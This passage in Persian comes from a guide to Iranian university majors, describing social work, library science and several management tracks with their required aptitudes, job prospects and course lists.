    در نیروی انتظامی جمهوری اسلامی ایران، عده‌ای از کارکنان دارای مشاغل اداری و عده‌ای دیگر دارای مشاغل مأموریتی هستند. برای مثال، کارکنان بخش‌های حسابداری، کامپیوتر، برق و مخابرات در بخش اداری فعالیت می‌کنند. به عبارت دیگر فارغ‌التحصیلان شاخه خدمات و پشتیبانی در بخش اداری حضور دارند و فارغ‌التحصیلان سایر شاخه‌ها و گرایش‌های علوم انتظامی در بخش مأموریتی فعالیت می‌کنند.در کل فارغ‌التحصیلان کاردانی دانشکده علوم پایه انتظامی با درجه ستوان سومی و کارشناسان این دانشکده با درجه ستوان دومی فارغ‌التحصیل می‌شوند و درجات بعدی آنان برابر قوانین و مقررات ناجا خواهد بود. در این میان، نوع فعالیت فارغ‌التحصیلان کاردانی نیروی انتظامی بیشتر جنبه اجرایی دارد؛ یعنی این دسته از فارغ‌التحصیلان بیشتر مجریان برنامه‌ها هستند اما مسؤولیت اصلی کارشناسان نیروی انتظامی، تئوری‌سازی، برنامه‌ریزی، هدایت و کنترل فعالیت‌های نیروی انتظامی است. البته در حال حاضر به دلیل کمبود پرسنل، گاهی اوقات یک کارشناس باید وظایف کاردان را نیز انجام دهد.گفتنی است که دانشجویان علوم پایه انتظامی ضمن آن که ماهانه مبلغی به عنوان کمک هزینه تحصیلی دریافت می‌کنند از امکانات رفاهی خوابگاه، پوشاک، غذا، دفترچه اتکا و خدمات درمانی بهره‌مند می‌شوند و در طول خدمت از وام خرید مسکن یا یک باب مسکن ملکی برخوردار خواهند شد.

  82. مددکاری اجتماعی
    دیباچه: وقتی سخن از مددکاری می‌شود بسیاری از افراد به یاد زندان‌ها یا پرورشگاه‌ها می‌افتند که در آنجا افرادی به نام مددکار در دفتر یا واحد مددکاری فعالیت می‌کنند. اما حرفه مددکاری به فعالیت در دو مکان فوق محدود نمی‌شود. بلکه مددکاری اجتماعی، یکی از رشته‌های کاربردی است که فارغ‌التحصیل آن باید بتواند در مراکز مختلف با استفاده از روش‌ها و تکنیک‌هایی که آموزش دیده است، وارد زندگی انسان‌هایی شود که به هر دلیل اجتماعی، اقتصادی، فرهنگی و خانوادگی دچار مشکل بوده و نمی‌توانند مشکل خود را به تنهایی حل کنند یا منشأ مشکل خویش را تشخیص بدهند.در واقع این افراد می‌توانند به یاری مددکارمشکل خویش را شناخته وحل نمایند. بنابراین اگر بخواهیم این رشته را به طور خلاصه معرفی کنیم، باید بگوییم که هدف رشته مددکاری این است که به افراد نیازمند به خدمات اجتماعی کمک کند تا خود را بیابند، مشکل خویش را بشناسند و سپس راه حل آن را پیدا کنند.
    توانایی‌های‌ لازم :
    یک‌ مددکار باید دارای‌ توانمندی‌های‌ روحی‌ خاصی‌ باشد؛ یعنی باید روحیه‌ای‌ قوی‌ داشته‌ باشد تا بتواند مشکلات‌ و معضلاتی‌ را که‌ در زندگی‌ انسان‌ها می‌بیند، تحمل‌ کند پس‌ باید پذیرفت‌ که‌ افراد زودرنج‌ و بسیار حساس‌ و عاطفی‌ به‌ درد این‌ رشته‌ نمی‌خورند. در ضمن‌ یک‌ مددکار نباید در گفتگو و ارتباط‌ برقرار کردن‌ با دیگران‌ دچار مشکل‌ شود و در نهایت‌ یک‌ مددکار باید خود را به‌ خوبی‌ بشناسد چون‌ اگر خود را نشناسد، نمی‌تواند به‌ دیگری‌ شناخت‌ بدهد و او را کمک‌ کند.
    موقعیت‌ شغلی‌ در ایران :
    رشته‌ مددکاری‌ از جمله رشته‌هایی‌ است‌ که‌ داوطلبان‌ هر سه‌ گروه‌ آزمایشی‌ علوم‌ ریاضی‌ و فنی‌، علوم‌ تجربی‌ و علوم‌ انسانی‌ می‌توانند آن‌ را انتخاب‌ کنند همچنین‌ دانشجویان‌ این‌ رشته‌ باید در دوران‌ تحصیل‌ ۲۴ واحد کارورزی‌ و پس‌ از فارغ‌التحصیلی‌ ۲ سال‌ طرح‌ بگذرانند. این‌ دو ویژگی‌ رشته‌ فوق‌ را متمایز ساخته‌ است‌، چرا که‌ فارغ‌التحصیلان‌ این‌ رشته‌ به‌ دلیل‌ تجربه‌ ناشی‌ از ۲۴ واحد کارورزی‌ در ۶ واحد مستقل‌ و ۲ سال‌ طرح‌ در سازمان‌ها و مؤسسه‌های‌ دولتی‌، از موقعیت‌ شغلی‌ مناسبی‌ برخوردار هستند. در واقع‌ هر جایی‌ که‌ اداره‌ رفاه‌ یا امور اجتماعی‌ هست‌، مددکار اجتماعی‌ می‌تواند در آنجا حضور داشته‌ و مسؤولیتی‌ را بر عهده‌ بگیرد. در نتیجه‌ فارغ‌التحصیلان‌ این‌ رشته‌ مشکل‌ اشتغال‌ ندارند. اما با وجود مزیت‌های‌ این‌ رشته،‌ باید پذیرفت‌ که‌ رشته‌ مددکاری‌ با مشکلاتی‌ نیز گریبانگیر است‌ که‌ در این‌ میان‌ گمنام‌ بودن‌ رشته‌ مددکاری‌ در جامعه‌ و حتی‌ در بین‌ جوانان‌ و داوطلبان‌ کنکور مشکل‌ بسیار بزرگی‌ است‌.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌ و اصلی‌ :
    مبانی‌ جامعه‌شناسی‌ ، خدمات‌ اجتماعی‌ و تعاون‌ در اسلام‌، مبانی‌ روانشناسی‌، ریاضیات‌ پایه‌، مبانی‌ مددکاری‌، آمار مقدماتی‌، مبانی‌ رفاه‌ اجتماعی‌، مبانی جمعیت‌شناسی‌، مبانی‌ مردم‌شناسی‌، کاربرد آمار در خدمات‌ اجتماعی‌، اصول‌ علم‌ اقتصاد، کلیات‌ حقوق‌، مبانی‌ مدیریت‌، اصول‌ علم‌ سیاست‌، اصول‌ توانبخشی‌، روانشناسی‌ اجتماعی‌، نظریه‌های‌ جامعه‌شناسی‌، روش‌ تحلیل‌ جمعیت‌، روش‌ تحقیق‌ در خدمات‌ اجتماعی‌ (عملی‌)، نهاد خانواده‌، آسیب‌شناسی‌ اجتماعی‌، حقوق‌ خانواده‌ و کار، جامعه‌شناسی‌ روستایی‌، بهداشت‌ خانواده‌، جامعه‌شناسی‌ شهری‌ و توسعه‌، بهداشت‌ روانی‌، بررسی‌ مسایل‌ اجتماعی‌ ایران‌، مدیریت‌ مؤسسات‌ خدمات‌ اجتماعی‌، کلیات‌ برنامه‌ریزی‌ اقتصادی‌ و تجاری‌.
    دروس‌ تخصصی :
    مددکاری‌ فردی‌ ، آشنایی‌ با روش‌های‌ مددکاری‌، پویایی‌ گروهی‌، مددکاری‌ گروهی‌، توانبخشی‌ گروه‌های‌ خاص‌، کارورزی‌ مددکاری‌ فردی‌ ، روانشناسی‌ کودک‌ و نوجوان‌، مشاوره‌ و مددکاری‌، مددکاری‌ جامعه‌ای‌ ، روانشناسی‌ مرضی‌، کارورزی‌ در مددکاری‌ گروهی‌ ، تغذیه‌، کارورزی‌ مددکاری‌ جامعه‌ ، اقتصاد ایران‌، پروژه‌ تحقیقاتی‌ ، سرپرستی‌ در خدمات‌ اجتماعی‌.

  83. کتابداری
    دیباچه: کشور ایران با جمعیت حدود ۷۰ میلیون که ۴۸ میلیون نفر از آنها باسواد هستند، کمتر از ۱۵۰۰ کتابخانه عمومی دارد که تعداد کتاب بهترین و بزرگترین آنها به زحمت به یک میلیون و ۵۰۰ هزار جلد می‌رسد. این در حالی است که کشور همسایه ما، آذربایجان، با جمعیت حدود جمعیت ایران ده هزار کتابخانه دارد و در کشورهای پیشرفته یک کتابخانه برای شروع کار باید ۶۰۰ تا ۷۰۰ هزار جلد کتاب داشته باشد.البته در کشور ما جمعیت استفاده کننده از همین حداقل امکانات نیز بسیار اندک است و کتابخانه‌ها در ایران فعالیت چشمگیری ندارند. در واقع کشور ما با این که زمانی مهد تمدن و دانش بوده و بزرگترین کتابخانه‌های عالم و نفیس‌ترین کتب را داشته است، اکنون در زمینه کتاب و کتابخوانی دچار فقر فرهنگی است و کتابخانه‌ها، مراکز ساکن و ساکتی هستند که فقط در دوران امتحانات دانش‌آموزان یا دانشجویان، قرائت‌خانه آنها شلوغ می‌شود.بدون شک یکی از علل اصلی این مشکل، نبود کتابداران متخصص و علاقه‌مند در کتابخانه‌های کشور است.کارشناسانی آگاه , با تجربه و تحصیل کرده که توانایی ارزیابی نیازهای کتابخانه واحد متبوع خود را داشته باشند و در جریان انتشار کتاب‌های جدید و خرید کتاب‌های مناسب قرار گیرند. این افراد باید قادر به سازماندهی منابع بوده و با فهرست‌نویسی مناسب امکان دست‌یابی مراجعه کننده به کتاب‌های مورد نظر را فراهم آورند. هدف رشته کتابداری و اطلاع‌رسانی که در دانشگاه‌ها و مراکز آموزش عالی کشور ما ارائه می‌شود، تربیت همین دسته از متخصصان است. در واقع رشته‌ کتابداری‌ هموار کردن‌ مسیر ارتباط‌ میان‌ دو عنصر کتاب‌ (در معنای وسیع آن که شامل هر گونه اثری می‌شود که ثبت و ضبط شده باشد) و استفاده‌ کننده‌ از کتاب‌ است. البته‌ برای‌ آن‌ که‌ بتوانیم‌ این‌ ارتباط‌ را امکان‌پذیر کنیم‌ باید نه‌ تنها هر یک‌ از این‌ دو عنصر را به‌ درستی‌ بشناسیم‌، بلکه‌ لازم است چگونگی‌ پیوند میان‌ آن‌ دو را نیز بیاموزیم‌. تمام‌ دروس‌ پایه‌ و اختصاصی‌ در رشته‌ کتابداری‌ (خصوصاً دوره‌ کارشناسی‌) براساس‌ همین‌ سه‌ وظیفه‌ تدوین‌ شده‌ است‌؛ یعنی‌ دانشجوی‌ این‌ رشته‌ منابع‌ و متون‌ را می‌شناسد، از ویژگی‌های‌ انواع‌ مواد انتشار یافته‌ آگاه‌ می‌گردد، محتوای‌ آنها و چگونگی‌ تبدیل‌ اندیشه‌های‌ موجود در ذهن‌ نویسنده‌ به‌ پدیده‌ای‌ عینی‌ و قابل‌ شناسایی‌ را درک‌ می‌کند و قابلیت‌ها و توانایی‌های‌ رسانه‌های‌ گوناگون‌ از قبیل‌ کتاب‌ (به‌ معنای‌ محدود)، مجله‌، روزنامه‌، نوار، لوح‌ فشرده‌، اینترنت‌ و مانند آنها را درمی‌یابد. از سوی‌ دیگر دروسی‌ نیز در برنامه‌ این‌ رشته‌ هست‌ که‌ برای‌ شناخت‌ انسان‌، چگونگی‌ شکل‌گیری‌ دانش‌ و معرفت‌ افراد در ذهن‌ آنان‌، تأثیر محیط‌، فرهنگ‌ و جامعه‌ دانسته‌ها و باورهای‌ مردم‌ مفید است‌. زیرا اگر بخواهیم‌ مواد و منابع‌ برای‌ مراجعان‌ قابل‌ استفاده‌ باشد، باید مراجعان‌ را به‌ درستی‌ بشناسیم‌، با محیط‌ فرهنگی‌ آنها آشنا باشیم‌ و نیازهای‌ اطلاعاتی‌ آنها را تشخیص‌ دهیم‌. البته‌ دانستن‌ ویژگی‌های‌ کتاب‌ و خواننده‌ یا استفاده‌ کننده‌ به‌ تنهایی‌ برای‌ انجام‌ وظیفه‌ کتابداری‌ کفایت‌ نمی‌کند. بلکه‌ باید تدابیر مربوط‌ به‌ ایجاد ارتباط‌ میان‌ آن‌ دو را نیز شناخت‌. برای‌ این‌ کار لازم‌ است‌ به‌ فرآیند ارتباط‌ آگاه‌ بود و دانست‌ در چه‌ شرایطی‌ ارتباط‌ آسان‌ می‌شود و تحت‌ چه‌ شرایطی‌ دچار اختلال‌ می‌گردد. پس‌ کتابدار لازم‌ است‌ که‌ با حوزه‌ ارتباطات‌ نیز کم‌ و بیش‌ آشنا باشد. به‌ همین‌ دلیل‌ سه‌ ضلع‌ مثلث‌ کتاب‌، خواننده‌ و ارتباط‌ ‌، موضوع‌ مطالعه‌ و پژوهش‌ علاقه‌مندان‌ این رشته است‌ و آثاری‌ که‌ از این‌ مطالعات‌ برجای‌ مانده،‌ دستمایه‌ مناسبی‌ برای‌ برنامه‌های‌ درسی‌ رشته‌ کتابداری‌ می‌باشد.
    توانایی‌های‌ لازم :
    رشته‌ کتابداری‌ با دانش‌اندوزی‌ سر و کار دارد. بنابراین‌ هر فردی‌ که‌ دامنه‌ مطالعات‌ و تتبعات‌ او گسترده‌تر باشد، قابلیت‌ پیشرفت‌ بیشتری‌ در این‌ رشته‌ دارد. زیرا قناعت‌ به‌ دانسته‌های‌ موجود و خود را بی‌نیاز از ارتقاء و بهبود دانش‌ و معرفت‌ دانستن‌، آفتی‌ خطرزا برای‌ رشته‌ کتابداری‌ است‌. فراگیری‌ آهسته‌ و پیوسته‌ و شکیبایی‌ و بردباری‌ در برخورد با اطرافیان‌ و پرسش‌ کنندگان‌ نیز دو ویژگی‌ عمده‌ای‌ است‌ که‌ دانشجویان‌ این‌ رشته‌ باید در خود بپرورانند. اصرار بر تحمیل‌ نظرات‌ خود به‌ دیگران‌ و خودداری‌ از شنیدن‌ و تحلیل‌ کردن‌ آراء آنان‌، کتابدار را به‌ تدریج‌ در چارچوب‌ بسته‌ و بدون‌ روزنه‌ای‌ محبوس‌ می‌کند و سبب‌ می‌شود که‌ نه‌ دیگران‌ تاب‌ تحمل‌ او را داشته‌ باشند و نه‌ او بتواند دیگران‌ را تحمل‌ کند. (رشته‌ کتابداری‌ از هر سه‌ گروه‌ آزمایشی‌ ریاضی‌ و فنی‌، علوم‌ تجربی‌ و علوم‌انسانی‌ دانشجو می‌پذیرد.)
    موقعیت‌ شغلی‌ در ایران‌ :
    با توجه‌ به‌ پیشرفت‌ سریع‌ جوامع‌ انسانی‌ و افزایش‌ میزان‌ انتشارات‌ در زمینه‌های‌ مختلف‌ دانش‌ بشری‌، ایجاد و گسترش‌ کتابخانه‌ها امری‌ الزامی‌ است‌. از این‌ رو کتابداری‌ یکی‌ از رشته‌هایی‌ است‌ که‌ چشم‌انداز فرصت‌های‌ شغلی‌ آن‌ بسیار روشن‌ است‌. کتابخانه‌های‌ عمومی‌ در سراسر کشور و کتابخانه‌های‌ مدارس‌ در مقاطع‌ مختلف‌ هنوز چشم‌ به‌ راه‌ کتابدارانی‌ هستند که‌ دوره‌های‌ دانشگاهی‌ را طی‌ کرده‌ باشند. کتابخانه‌های‌ دانشگاهی‌ و تخصصی‌ و مراکز اطلاع‌رسانی‌ نیز هنوز آماده‌ پذیرش‌ فارغ‌التحصیلان‌ این‌ رشته‌ هستند‌. البته‌ باید به‌ این‌ نکته‌ نیز توجه‌ داشت‌ که‌ مراکز و کتابخانه‌هایی‌ که‌ در صدد استخدام‌ فارغ‌التحصیلان‌ هستند، افراد شایسته‌تر را ترجیح‌ می‌دهند و این‌ بر دانشجویان‌ است‌ که‌ از آغاز ورود به‌ رشته‌ به‌ خودسازی‌ و گسترش‌ دانش‌ و عمق‌ بخشیدن‌ به‌ مهارت‌های‌ خود بپردازند و از این‌ طریق‌ چشم‌انداز شغلی‌ خود را پیشاپیش‌ ترسیم‌ نمایند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل‌:
    دروس‌ مشترک در گرایش‌های کتابداری :
    روانشناسی‌ اجتماعی‌ ، روانشناسی‌ عمومی‌، تاریخ‌ تمدن‌، مبانی‌ جامعه‌شناسی‌ ، تاریخ‌ ادبیات‌ ایران‌، تاریخ‌ ادبیات‌ جهان‌، تاریخ‌ عمومی‌ فلسفه‌ ، متون‌ اختصاصی‌ انگلیسی‌ ، متون‌ اختصاصی‌ فرانسه‌ ، متون‌ اختصاصی‌ آلمانی‌ ، متون‌ اختصاصی‌ روسی‌، متون‌ اختصاصی‌ عربی‌، کتابخانه‌ و کتابداری‌ ، مجموعه‌ سازی‌، سازماندهی‌ مواد، مرجع‌شناسی‌ عمومی‌ (فارسی‌ و عربی‌)، ساختمان‌ و تجهیزات‌ کتابخانه‌، مواد سمعی‌ و بصری‌، مواد خدمات‌ کتابخانه‌ برای‌ بزرگسالان‌ نوسواد، مواد خدمات‌ کتابخانه‌ برای‌ کودکان‌ و نوجوانان‌، ماشین‌نویسی‌ فارسی‌ ، ماشین‌نوسی‌ لاتین‌ ، اداره‌ کتابخانه‌، مرجع‌ شناسی‌ عمومی‌(لاتین‌)، اصول‌ کار مرجع‌ ، گزارش‌ نویسی‌ ، کارآموزی‌.
    دروس تخصصی گرایش علوم انسانی و اجتماعی:
    آمار و احتمالات مقدماتی، مبانی کامپیوتر و برنامه‌نویسی، مبانی سازمان و مدیریت، مبانی علم حقوق، مبانی تاریخ اجتماعی ایران، جغرافیای شهری و روستاشناسی، کلیات علم اقتصاد، روانشناسی کودک و نوجوان، تاریخ ادیان، آشنایی با بانک‌های اطلاعاتی.
    دروس تخصصی گرایش فنی و مهندسی:
    تاریخ علوم، زمین‌شناسی، ریاضیات عمومی، فیزیک عمومی، شیمی عمومی، آمار و احتمالات، فیزیولوژی عمومی، آشنایی با بانک‌های اطلاعاتی علوم پایه، مبانی کامپیوتر و برنامه‌نویسی، برنامه‌نویسی کاربردی.

  84. مدیریت
    دیباچه: چگونه می‌توان معضل بیکاری را حل نمود؟ با مسأله سوءاستفاده‌ مالی و فساد اداری چه باید کرد؟ چرا کارکنان سازمان‌ها، گرفتار دلسردی، یأس و افسردگی می‌شوند؟ چرا در تعدادی از سازمان‌های ما از امکانات موجود به خوبی استفاده نمی‌شود؟بسیاری از متخصصان علوم گوناگون، به ویژه صاحبنظران علوم انسانی درپاسخ به این سؤال‌ها می‌گویند که کلید معمای مشکلات سازمان‌های هر جامعه “مدیریت” است. چون تأمین نیازهای فنی، خدماتی، درمانی و تفریحی جامعه، بدون وجود مدیران لایق که بالاترین کارآیی و بهره‌وری را داشته باشند، امکان‌پذیر نیست. به همین دلیل هر جامعه‌ای برای فایق آمدن بر مشکلات سازمانی خود، قبل از هر چیز باید به مسأله آموزش صحیح و موثر مدیریت توجهی بنیادی داشته باشد. تخصصی که در بیشتر دانشگاه‌های معتبر علوم انسانی جهان، تحت عنوان رشته مدیریت آموزش داده می‌شود. رشته‌ مدیریت‌ در کشور ما دارای‌ شاخه‌های‌ متعددی‌ است که‌ از آن‌ جمله‌ می‌توان‌ به‌ مدیریت‌ بازرگانی‌، صنعتی‌، دولتی‌، جهانگردی‌ ، بیمه‌، بیمه‌اکو، امور گمرکی‌ و امور بانکی‌ اشاره‌ کرد و همچنین‌ از شاخه‌های‌ تخصصی‌تری‌ مثل‌ مدیریت‌ کمیسریای‌ دریایی‌ یا اداره‌ امور بیمارستان‌ها نام‌ برد.
    گرایش‌ مدیریت‌ بازرگانی:
    ‌یک‌ دانشجوی‌ مدیریت‌ بازرگانی‌ به‌ عنوان‌ یک‌ مدیر تجاری‌ تحصیل‌کرده‌، می‌تواند امور تجاری‌ را تفکیک‌ و اداره‌ کند و به‌ یاری‌ قدرت‌ خلاقه‌ خویش‌ در ایجاد بازار جدید، ارائه‌ خدمات‌ متنوع‌ و تازه‌، ابداع‌ روش‌های‌ جدید در عرضه‌ و توزیع‌، کارآفرین‌ باشد. فارغ‌التحصیل‌ مدیریت‌ بازرگانی‌ باید بتواند برای‌ کالاهای‌ موجود، بازار جدیدی‌ پیدا کند‌ یا روش‌های‌ مطلوب‌ توزیع‌ را در سیستم‌ دولتی‌ طراحی‌ نماید، چون‌ امروزه یکی‌ از بزرگترین‌ مشکلات‌ کشور ما، رساندن‌ محصولات‌ کشاورزی‌ مثل‌ برنج‌، چای‌ و مرکبات‌ به‌ بازار و به‌ دست‌ مصرف‌کننده‌ است‌.
    درس‌های این رشته در طول تحصیل:
    دروس‌ مشترک‌ در‌ گرایش‌های‌ مختلف‌ مدیریت‌:
    اصول‌ حسابداری‌، ریاضیات‌ و کاربرد آن‌ در مدیریت‌، آمار و کاربرد آن‌ در مدیریت‌، کامپیوتر و کاربرد آن‌ در مدیریت‌، اقتصاد خرد، اقتصاد کلان‌، روش‌ تحقیق‌ در مدیریت‌، مبانی‌ سازمان‌ و مدیریت‌، تحقیق‌ در عملیات‌، مدیریت‌ رفتار سازمانی‌، مدیریت‌ منابع‌ انسانی‌، حقوق‌ اساسی‌، مبانی‌ مدیریت‌ اسلامی‌، سیستم‌های‌ اطلاعاتی‌ در مدیریت‌.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ بازرگانی‌:
    مدیریت‌ استراتژیک‌ ، حقوق‌ بازرگانی‌، حسابرسی‌، مدیریت‌ تولید، مدیریت‌ مالی‌، توسعه‌ اقتصادی‌ و برنامه‌ریزی‌ ، روانشناسی‌ کار، حسابداری‌ صنعتی‌، بازاریابی‌ و مدیریت‌ بازار، تجزیه‌ و تحلیل‌ و طراحی‌ سیستم‌، سازمان‌های‌ پولی‌ و مالی‌ بین‌المللی‌ ، بازرگانی‌ بین‌المللی‌ ، بازاریابی‌ بین‌الملل‌، پول‌ و ارز و بانکداری‌، سیاست‌ پولی‌ و مالی‌، سیستم‌های‌ خرید و انبارداری‌ توزیع‌، حقوق‌ بازرگانی‌ بین‌الملل‌، تحقیقات‌ بازاریابی‌، روابط‌ صنعتی‌، سمینار در مسایل‌ مالی‌، سمینار در مسایل‌ بازاریابی‌، بهره‌وری‌ و تجزیه‌ و تحلیل‌ آن‌ در سازمان‌.
    گرایش‌ مدیریت‌ صنعتی:
    یکی‌ از علل‌ عدم‌ موفقیت‌ صنایع‌ ما این‌ است‌ که‌ اکثر مسؤولین‌ واحدهای‌ صنعتی‌؛ فارغ‌التحصیل‌ مدیریت‌صنعتی‌ نیستند. حضور یک‌ کارشناس‌ مدیریت‌ صنعتی‌ که‌ مسؤولیت‌ نیروی‌ انسانی‌ را بر عهده‌ بگیرد، در هر واحد صنعتی‌ ضروری‌ است‌ تا بتواند با استفاده‌ از دانش‌ خویش‌؛ مشارکت‌، مهارت‌ و انگیزه‌ نیروی‌ انسانی‌ واحد صنعتی‌ مورد نظر را افزایش‌ دهد. مدیریت‌ صنعتی‌ دارای‌ سه‌ بعد اصلی‌ فنی‌ و تکنیکی‌، مالی‌ و رفتاری‌ و اجتماعی‌ است. در رشته‌ مهندسی‌ صنایع‌ دانشجویان‌ بیشتر به‌ مطالعه‌ بعد فنی‌ و تکنیکی‌ صنایع‌ می‌پردازند اما رشته‌ مدیریت‌ صنعتی‌ به‌ دو بعد مالی‌ و رفتاری‌ صنایع‌ تأکید بیشتری‌ دارد.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ صنعتی‌:
    مدیریت‌ مالی‌، روانشناسی‌ صنعتی‌، حسابداری‌ صنعتی‌، بازاریابی‌ و مدیریت‌ بازار ، کنترل‌ کیفیت‌ آماری‌، سیستم‌های‌ خرید و انبارداری‌ و توزیع‌، تحقیق‌ در عملیات‌، کنترل‌ پروژه‌ ، طرح‌ریزی‌ و تعمیرات‌ و نگهداری‌، کارسنجی‌ و روش‌سنجی‌، مدیریت‌ کارخانه‌، حفاظت‌ صنعتی‌، بررسی‌ اقتصادی‌ طرح‌های‌ صنعتی‌، روابط‌ صنعتی‌، فنون‌ تجزیه‌ و تحلیل‌ و طراحی‌ سیستم‌، بازاریابی‌ بین‌المللی‌، بهره‌وری‌ و تجزیه‌ و تحلیل‌ آن‌ در سازمان‌، پروژه‌.
    گرایش‌ مدیریت‌ دولتی:
    هدف‌ رشته‌ مدیریت‌ دولتی‌، تربیت‌ مدیران‌ شایسته‌ای‌ است‌ که‌ بتوانند وظایف‌ پنجگانه‌ محوله‌ را به‌ نحو احسن‌ در سازمان‌ها و تشکیلات‌ دولتی‌ کشور انجام‌ دهند. این‌ وظایف‌ عبارتند از:
    ۱ـ برنامه‌ریزی‌ و اجرای‌ آن‌. ۲ـ سازمان‌دهی‌ یا تقسیم‌ وظایف‌ بین‌ کارکنان‌ یک‌ سازمان‌ به‌ نحوی‌ که‌ با تقسیم‌ کار بتواند مهارت‌ پرسنل‌ خود را در پرداختن‌ به‌ کارهای‌ جزئی‌ افزایش‌ دهد. ۳ـ عملیات‌ امور استخدامی‌ یا کارگزینی‌ کارکنان‌ جدید. ۴ـ هدایت‌ و راهبری‌. ۵ ـ نظارت‌ و کنترل‌.برای مثال چون در یک بخش دولتی، رقابت وجود ندارد؛ کارکنان تمایل به افزایش ارتقای خدمات ندارند و این وظیفه مدیریت است که بتواند در چارچوب قوانین و مقررات دولتی، با خلاقیت و نوآوری خویش، کارآیی و بهره‌وری کارکنان را افزایش دهد.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ دولتی‌:
    روانشناسی‌ سیاسی‌، جامعه‌شناسی‌سازمان‌ها، توسعه‌ اقتصادی‌ و برنامه‌ریزی‌، مدیریت‌ تحول‌ سازمانی‌، حسابداری‌ دولتی‌، مالیه‌ عمومی‌ و تنظیم‌ خط‌مشی‌ مالی‌، فراگرد تنظیم‌ و کنترل‌ بودجه‌، مدیریت‌ سازمان‌های‌ محلی‌ و شهرداری‌ها، مبانی‌ مدیریت‌ دولتی‌، مدیریت‌ تطبیقی‌ ، مدیریت‌ توسعه‌، مدیریت‌ تعاونی‌ها، تصمیم‌گیری‌ و تعیین‌ خط‌مشی‌، سیر اندیشه‌های‌ سیاسی‌ و تحول‌ نهادهای‌ اداری‌، مباحث‌ ویژه‌ مدیریت‌ دولتی‌، حقوق‌ اداری‌، سازماندهی‌ و اصلاح‌ تشکیلات‌ و روش‌ها، روابط‌ کار در سازمان‌.
    گرایش‌ مدیریت‌ جهانگردی:
    کشور ایران ۱۶۴۸۰۰۰ کیلومتر مربع وسعت دارد و هرگوشه‌اش دارای جلوه و لطفی تازه، رمز و رازی دیگر و زیبایی و صلابتی دو چندان است. اما با وجود این همه جلوه و جذابیت،‌ تنها سهم اندکی از صنعت سودآور جهانگردی را به خود اختصاص داده است. نتیجه یک نظرخواهی که از خبرنگاران خارجی به عمل آمده است، نشان می‌دهد که بسیاری از آنها بر این اعتقادند که مدیریت ضعیف یکی از عوامل رکود صنعت جهانگردی در کشور ما است. چون لازمه‌ توسعه‌ و تقویت‌ صنعت‌ جهانگردی‌، اطلاع‌ از زمینه‌های‌ اقتصادی‌، اجتماعی‌، جغرافیایی‌ و فرهنگی‌ کشور است‌ تا بتوان‌ امکانات‌ موجود و همچنین‌ مسائل‌ و مشکلاتی‌ که‌ در راه‌ توسعه‌ این‌ صنعت‌ وجود دارد، شناسایی‌ کرد و سپس‌ براساس‌ تحقیقات‌ موجود، یک‌ برنامه‌ریزی‌ دقیق‌ و عملی‌ داشت‌. کاری‌ که تنها به‌ یاری‌ مدیران‌ کارآمد و متخصص‌ در صنعت‌ جهانگردی‌ امکان‌پذیر است‌؛ تخصصی‌ که‌ در شاخه‌ مدیریت‌ جهانگردی‌ آموزش‌ داده‌ می‌شود. یعنی‌ متخصص‌ این‌ رشته‌ در نهایت‌ باید بداند که‌ چه‌ نوع‌ جهانگردی‌ را جذب‌ کند؟ چگونه‌ جذب‌ کند؟ و چگونه‌ بازارهای‌ جهانگردی‌ جدیدی‌ برای‌ جذب‌ توریست‌ ایجاد نماید؟
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ جهانگردی‌:
    تاریخ‌ و فرهنگ‌ ایران‌، شناخت‌ روحیات‌ ملل‌، قوانین‌ و مقررات‌ حقوقی‌ جهانگردی‌، مبانی‌ مردم‌ شناسی‌ جهانگردی‌، مدیریت‌ بازاریابی‌ و تبلیغات‌ جهانگردی‌، اقتصاد جهانگردی‌، شناخت‌ صنایع‌ دستی‌ ایران‌ ، نقشه‌خوانی‌ و آشنایی‌ با نقشه‌، جغرافیای‌ جهانگردی‌ ایران‌، شناخت‌ صنعت‌ جهانگردی‌ ، گذراندن‌ اوقات‌ فراغت‌، آداب‌ سفر در اسلام‌، تجزیه‌ و تحلیل‌ مسائل‌ اجتماعی‌ در ایران‌، باستان‌شناسی‌ ایران‌ ، هنر و معماری‌ ایران‌، آشنایی‌ با موزه‌های‌ ایران‌، امور مسافرت‌ و صدور بلیط‌، فن‌ راهنمایی‌، برنامه‌ریزی‌ توسعه‌ جهانگردی‌ ، مطالعات‌ تطبیقی‌ سیاست‌های‌ جهانگردی‌، فرهنگ‌ عامه‌، زبان‌ انگلیسی‌ مکاتبات‌ تخصصی‌، زبان‌ انگلیسی‌ مکالمه‌، آشنایی‌ با سازمان‌های‌ دولتی‌ ایران‌، نقش‌ جهانگردی‌ در بسط‌ روابط‌ بین‌الملل‌ و گسترش‌ منابع اقتصادی‌ کشور، کارآموزی‌، اصول‌ حسابداری‌، ریاضیات‌ و کاربرد آن‌ در مدیریت‌، آمار و کاربرد آن‌ در مدیریت‌، کامپیوتر و کاربرد آن‌ در مدیریت‌، اقتصاد خرد، اقتصاد کلان‌، روش‌ تحقیق‌ در مدیریت‌، مبانی‌ سازمان‌ و مدیریت‌، تحقیق‌ در عملیات‌، مدیریت‌ رفتار سازمانی‌، مدیریت‌ منابع‌ انسانی‌، حقوق‌ اساسی‌، مبانی‌ مدیریت‌ اسلامی‌، مبانی‌ سازمان‌ و مدیریت‌، سیستم‌های‌ اطلاعاتی‌ در مدیریت‌.
    گرایش‌ مدیریت‌ بیمه‌:
    بیمه یکی از شاخص‌های توسعه در کشورهای پیشرفته است، چون هر سرمایه‌داری که بخواهد در کشوری سرمایه‌گذاری کند، باید اطمینان داشته باشد که در صورت بروز هرگونه حادثه یا خطری، سرمایه‌ وی مصون خواهد بود. از همین‌رو در کشورهای پیشرفته از بیمه به عنوان صنعت بیمه یاد می‌کنند. به این معنی که همزمان با توسعه صنعت، بیمه نیز توسعه خواهد یافت و همچنین بر این اعتقادند که هر فردی نمی‌تواند وارد این صنعت شود بلکه باید متخصص و دانش‌آموخته این صنعت باشد. در کشور ما نیز دانشجوی‌ مدیریت‌ بیمه‌، نحوه‌ اداره‌ سازمان‌های‌ بیمه‌ و چگونگی‌ رفتار با بیمه‌گذارها را فرا می‌گیرد تا بتواند آنها را به‌ بیمه‌گذاری‌ ترغیب‌ و تشویق‌ کند. همچنین‌ دانشجوی این‌ گرایش درباره‌ انواع‌ 